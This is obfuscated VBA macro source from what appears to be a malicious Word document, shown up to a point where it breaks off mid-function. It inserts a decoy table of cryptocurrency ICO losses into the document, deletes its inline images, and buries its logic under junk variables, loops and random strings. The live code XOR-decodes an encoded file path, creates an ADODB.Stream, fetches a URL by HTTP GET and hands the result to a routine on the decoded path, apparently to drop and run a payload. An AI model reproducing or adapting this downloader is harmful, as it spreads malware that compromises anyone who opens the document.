JqRITMOSjiRsMqsFlU ("Refereum    RFR $30,282,800 Feb. 2018   .019  .004  -78.95% .211") & Chr(11)
tnUamApXDQLpsl = Array("HsOXnXwXcoNbOPbI""gEsANzKlTKs")
JqRITMOSjiRsMqsFlU ("Hellogold   HGT $5,101,485  Nov. 2017   .019  .004  -78.95% .211") & Chr(11)
Dim jgjHniGNbHn, bbSfTuxAgYYsh As Integer
jgjHniGNbHn = 1
bbSfTuxAgYYsh = 76
While jgjHniGNbHn < bbSfTuxAgYYsh
bbSfTuxAgYYsh = bbSfTuxAgYYsh - jgjHniGNbHn
Wend
JqRITMOSjiRsMqsFlU ("Constellation Labs  DAG $33,700,000 Jan. 2018   .047  .010  -78.72% .213") & Chr(11)
Dim rUhWrNbYyGhOpNtPUjd As Collection
Set rUhWrNbYyGhOpNtPUjd = New Collection
rUhWrNbYyGhOpNtPUjd.Add "lHdYSBEsevrDVQ"
rUhWrNbYyGhOpNtPUjd.Add "xOlzHdYFKdjBEaUJgY"
rUhWrNbYyGhOpNtPUjd.Add "KEpXYkqSZbh"
rUhWrNbYyGhOpNtPUjd.Add "VvRkTCHTIMH"
JqRITMOSjiRsMqsFlU ("Phantasma   SOUL    $10,000,000 May 2018    .154  .033  -78.57% .214") & Chr(11)
Dim UqOHonVqpJQ As Integer
For tcsAuccqNPd = 0 To 7
UqOHonVqpJQ = UqOHonVqpJQ + tcsAuccqNPd
Next tcsAuccqNPd
JqRITMOSjiRsMqsFlU ("Tierion TNT $25,040,172 Jul. 2017   .072  .016  -77.78% .222") & Chr(11)
Dim qmerjsdwkLNcxdcp As Integer
qmerjsdwkLNcxdcp = 9 * 8
JqRITMOSjiRsMqsFlU ("Polybius    PLBT    $31,645,088 Jul. 2017   $8.669  $1.955  -77.45% .226") & Chr(11)
Dim ZitPmVZvHgPvrsW As Integer
ZitPmVZvHgPvrsW = 8
Dim vmeMYWoHqCW As Integer
vmeMYWoHqCW = 9 * 6
If ZitPmVZvHgPvrsW < Len(Application.UserName) Then
Dim AKaZtBIxPIQafjhqdS As Integer
AKaZtBIxPIQafjhqdS = 3 - 6 * 5
Dim KsYRhjfhVGts As Variant
End If
JqRITMOSjiRsMqsFlU ("Sentinel Protocol   UPP $27,488,160 May 2018    .092  .022  -76.09% .239") & Chr(11)
End Sub
Public Function KdhYnNfHKME(phzArUJxoyroFW As String) As Object
mmNXymncZXKRFKvCabj = Array("xKenkhSAMmKiWf""ZaErvEkgSxNwEFckNxl""cmLlhrcjxFlGPTH""bhLkZkxIwmznpHtWTwb")
Set KdhYnNfHKME = VBA.CreateObject(phzArUJxoyroFW)
End Function
Function SoPPHsNWVDYOUOnIT()
Dim ncyUnAupePyvFf As InlineShape
Dim MAWokDTVQELKVE As Integer
For EbSGlOZQaBLlkhbokFm = 0 To 7
MAWokDTVQELKVE = MAWokDTVQELKVE + EbSGlOZQaBLlkhbokFm
Next EbSGlOZQaBLlkhbokFm
For Each ncyUnAupePyvFf In ActiveDocument.InlineShapes
Dim cgTrFUCQlZKxeiLm As Integer
cgTrFUCQlZKxeiLm = 5 - 3 * 3
ncyUnAupePyvFf.Delete
Dim rVjaEaFRhTmcVs, UiAsSVgkQeQpugAH As Integer
rVjaEaFRhTmcVs = 9
UiAsSVgkQeQpugAH = 32
While rVjaEaFRhTmcVs < UiAsSVgkQeQpugAH
UiAsSVgkQeQpugAH = UiAsSVgkQeQpugAH - rVjaEaFRhTmcVs
Wend
Next ncyUnAupePyvFf
End Function
Function JqRITMOSjiRsMqsFlU(ByRef Text As String)
Dim RfjveZtsqTpNdrPSkB, JsRQHHYPZdfTOC As Integer
RfjveZtsqTpNdrPSkB = 9
JsRQHHYPZdfTOC = 72
While RfjveZtsqTpNdrPSkB < JsRQHHYPZdfTOC
JsRQHHYPZdfTOC = JsRQHHYPZdfTOC - RfjveZtsqTpNdrPSkB
Wend
ActiveDocument.Content.InsertAfter Text:=Text
End Function


Attribute VB_Name = "UqCZAoQMFKZeKD"
Attribute VB_Base = "0{F201215E-B4D0-4528-8E59-C2A20A83FE89}{227C5D49-049E-415B-8444-4DD3D4F146D8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Function jUCWCSAbLyctZ(wGxRigWdkpwulck As String)
Dim oRJLdhSOblf As String: oRJLdhSOblf = KKjSOPnUOhfTQiDzw(yFjlaVxauphOsypkTj("F38PAUJXQScZAyFTXlo3GTcdewAHZnFiZgUDVScjNDUFHFYsIA=="), "TEST123")
Dim TTWLLquofgnAHKY As Integer
TTWLLquofgnAHKY = 8
Dim qgPuUCJWFbGYzg As Collection
Set qgPuUCJWFbGYzg = New Collection
qgPuUCJWFbGYzg.Add "LvTlXpzczzXhYu"
qgPuUCJWFbGYzg.Add "rNtaMdCwWLsbOIs"
qgPuUCJWFbGYzg.Add "XrFLhRyOMyx"
qgPuUCJWFbGYzg.Add "pqpsqVFrhSVJOm"
qgPuUCJWFbGYzg.Add "KKniYwvybIzbzGu"
qgPuUCJWFbGYzg.Add "SfrxLqYkCTeSdLXnqg"
qgPuUCJWFbGYzg.Add "KjwWnwzTkEVnEJ"
qgPuUCJWFbGYzg.Add "SgDMyIWqsuKwK"
qgPuUCJWFbGYzg.Add "mAmmAAaOxRPSayr"
qgPuUCJWFbGYzg.Add "pxlLIjDrujhNdjt"
If TTWLLquofgnAHKY < Len(Application.UserName) Then
Dim iCKSstZVomjNpV, AVPghHLnUKQ As Integer
iCKSstZVomjNpV = 4
AVPghHLnUKQ = 87
While iCKSstZVomjNpV < AVPghHLnUKQ
AVPghHLnUKQ = AVPghHLnUKQ - iCKSstZVomjNpV
Wend
Dim PfIiEaMQIbedDdTKavd As Variant
End If
Dim IymRqaNDKfTB As Object: Set IymRqaNDKfTB = KdhYnNfHKME("Adodb.Stream")
Dim JccmLuAXCGpFcZsYLSm As Integer
JccmLuAXCGpFcZsYLSm = 5 - 4 * 5
Dim sHLwPwdUHgRmQy As Object: Set sHLwPwdUHgRmQy = KdhYnNfHKME(hgFiVrASJhGe.viFjAAGGzhln)
JEkyFhcxXTROudpChM = Array("SxbknwtGgXEKWgEUNfg""vJqPBbzeTiGzC""gGQATPGeqcOOoSH""WnkVlUtbNpyKTpUTn")
blsvwWYZUlV = ckLozrmPmkM(sHLwPwdUHgRmQy, IymRqaNDKfTB, wGxRigWdkpwulck, oRJLdhSOblf)
lXYGaITXmuuBTiLYuuA = Array("wTTIRuTcJiVsKAa""GcWsIcIEJVPz""GFdwvYDZRVDGyA""SnsLqwIXaKGQZGN""DzLJlRphrroPdvYcF""IIiuPyYGeGtA""bLzcvfZkqpSzhA""gQfzebUFheMp""CZEVEVZkQEx")
hgFiVrASJhGe.dOLJJzGXOcSo (oRJLdhSOblf)
End Function
Public Function ckLozrmPmkM(jdrMxmjeCnfBLyHdtYa As Object, GYgpDgzHMhV As Object, jjSzudXUmnbcDeZdKYJ As String, KNXTmiokzBCKUt As String)
buyYUPZTJQJLXH = Array("yygAviqNwQRMW")
With jdrMxmjeCnfBLyHdtYa
seYbVMRWHRrBOEuXkE = Array("WzAAcxfxHMzkMXD""xoOEluLivNq""dEXWPPjZGMarLoSrBJn")
.Open "GET", jjSzudXUmnbcDeZdKYJ, False
Dim HqrKRGtCuwlaZrfh As Collection
Set HqrKRGtCuwlaZrfh = New Collection
HqrKRGtCuwlaZrfh.Add "yalaWUiEPJC"
HqrKRGtCuwlaZrfh.Add "uNcGyWStHWXUruz"
…